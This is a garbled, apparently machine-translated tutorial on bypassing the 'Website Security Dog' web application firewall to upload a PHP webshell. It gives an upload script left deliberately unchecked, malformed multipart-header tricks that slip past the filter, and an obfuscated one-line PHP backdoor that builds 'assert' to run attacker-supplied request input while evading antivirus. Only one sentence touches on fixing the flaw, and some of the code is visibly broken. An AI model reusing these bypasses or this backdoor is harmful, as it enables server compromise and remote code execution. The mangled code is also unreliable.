Bypass website Security dog Intercept, upload Webshell tips summary (with no PHP to kill a sentence)

This article describes the way I know to bypass the website security dog upload Webshell.

The idea is to modify the HTTP request to make the malformed HTTP request, and then bypass the Web security dog's detection.

Don't say much nonsense, cut to the chase ....

1. Experimental environment:

Windows Server 2003, apache/2.4.18, php/5.3.29, website Security Dog (Apache edition) V3.5.12048

2, for the file upload PHP source code:

<?php

$path = dirname (__file__). '/upload/';

$rand = rand (0, +);

Move_uploaded_file ($_files["file"] ["Tmp_name"], $path. $rand. $_files["File" ["name"]);

echo "File Path:". $path. $rand. $_files["File" ["name"]. "<br/>";

echo "OK";

?>

Because the purpose of this experiment is to bypass the website security dog, so the PHP source I did not do any testing, the uploaded files directly in the upload directory.

3, first look at the normal HTTP request:

It is clear that the file name "yijuhua.php" was intercepted ....

4. Try%00 truncation:

Obviously, it failed.

5. Modify HTTP request, construct malformed HTTP request

(1) Delete the Conten-type field inside the entity:

Bypass website Security dog interception, successfully uploaded Webshell ...

(2) Delete the space in the Content-disposition field:

(3) Modify the case of the Content-disposition field value:

6, kitchen knife connection in a word:

Here, upload Webshell end, you see it?

7, do not kill PHP sentence:

<?php

/*

PHP a Word Trojan

ASSERT ($string)

*/

$arr = Array (' a ',' s ',' s ',' e ',' R ',' t ');

$func = ";

For ($i =0; $i <count ($arr); $i + +) {

$func. = $func. $arr [$i];

}

$func ($_request[' C ');

?>

8. Fix the vulnerability:

In this case, I think the site security dog was developed without taking into account malformed HTTP requests, and Apache is compatible with malformed HTTP requests, so it can upload successfully.

Bypass website Security dog Intercept, upload Webshell tips summary (with no PHP to kill a sentence)